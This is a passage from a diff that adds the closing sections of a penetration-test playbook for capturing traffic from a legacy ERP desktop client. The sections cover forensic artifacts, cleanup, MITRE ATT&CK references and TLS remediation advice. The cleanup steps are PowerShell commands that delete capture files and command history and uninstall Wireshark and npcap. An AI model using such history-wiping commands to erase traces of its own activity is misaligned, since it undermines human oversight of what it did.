+ | tshark command history | PowerShell/cmd history (`%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt`) | Contains capture commands |
303
+ | Wireshark preferences | `%APPDATA%\Wireshark\preferences` | Configuration artifacts |
304
+
305
+ ---
306
+
307
+ ## Cleanup
308
+
309
+ Perform these steps after the engagement to remove artifacts from the test machine.
310
+
311
+ ### 1 — Delete Capture Files
312
+ ```powershell
313
+ Remove-Item -Path "C:\path\to\capture_erp.pcap" -Force
314
+ Remove-Item -Path "$env:TEMP\*.pcap" -Force -ErrorAction SilentlyContinue
315
+ ```
316
+
317
+ ### 2 — Clear PowerShell Command History
318
+ ```powershell
319
+ Remove-Item "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Force -ErrorAction SilentlyContinue
320
+ ```
321
+
322
+ ### 3 — Clear Wireshark Recent Files and Preferences
323
+ ```powershell
324
+ Remove-Item "$env:APPDATA\Wireshark\recent" -Force -ErrorAction SilentlyContinue
325
+ Remove-Item "$env:APPDATA\Wireshark\recent_common" -Force -ErrorAction SilentlyContinue
326
+ ```
327
+
328
+ ### 4 — Uninstall Wireshark and npcap (if installed solely for the engagement)
329
+ ```powershell
330
+ # Uninstall Wireshark
331
+ winget uninstall WiresharkFoundation.Wireshark
332
+
333
+ # Uninstall npcap
334
+ $npcap = Get-WmiObject -Class Win32_Product | Where-Object { $_.Name -like "*Npcap*" }
335
+ if ($npcap) { $npcap.Uninstall() }
336
+ ```
337
+
338
+ ### 5 — Clear cmd/PowerShell Session History
339
+ ```powershell
340
+ [Microsoft.PowerShell.PSConsoleReadLine]::ClearHistory()
341
+ ```
342
+
343
+ ### 6 — Verify No pcap Files Remain
344
+ ```powershell
345
+ Get-ChildItem -Path C:\ -Recurse -Filter "*.pcap" -ErrorAction SilentlyContinue
346
+ ```
347
+
348
+ Expected: no output (no pcap files found).
349
+
350
+ ---
351
+
352
+ ## References
353
+
354
+ ### Tools
355
+ - [Wireshark Official Documentation](https://www.wireshark.org/docs/)
356
+ - [tshark Man Page](https://www.wireshark.org/docs/man-pages/tshark.html)
357
+ - [npcap — Nmap Project](https://npcap.com/)
358
+ - [Scapy Documentation](https://scapy.readthedocs.io/)
359
+ - [Burp Suite Community Edition](https://portswigger.net/burp/communitydownload)
360
+ - [Sysinternals Process Monitor](https://learn.microsoft.com/en-us/sysinternals/downloads/procmon)
361
+
362
+ ### MITRE ATT&CK References
363
+ - [T1040 — Network Sniffing](https://attack.mitre.org/techniques/T1040/)
364
+ - [T1552 — Unsecured Credentials](https://attack.mitre.org/techniques/T1552/)
365
+ - [T1078 — Valid Accounts](https://attack.mitre.org/techniques/T1078/)
366
+ - [T1110 — Brute Force](https://attack.mitre.org/techniques/T1110/)
367
+
368
+ ### Remediation Guidance (for Report)
369
+ - Enforce TLS 1.2+ on all application server endpoints; disable HTTP (port 80) or redirect to HTTPS.
370
+ - Implement HSTS (HTTP Strict Transport Security) on the server.
371
+ - Conduct a network traffic audit of all legacy desktop clients.
372
+ - Enforce certificate pinning in the desktop client where feasible.
373
+ - Segment the legacy application onto an isolated VLAN with restricted access.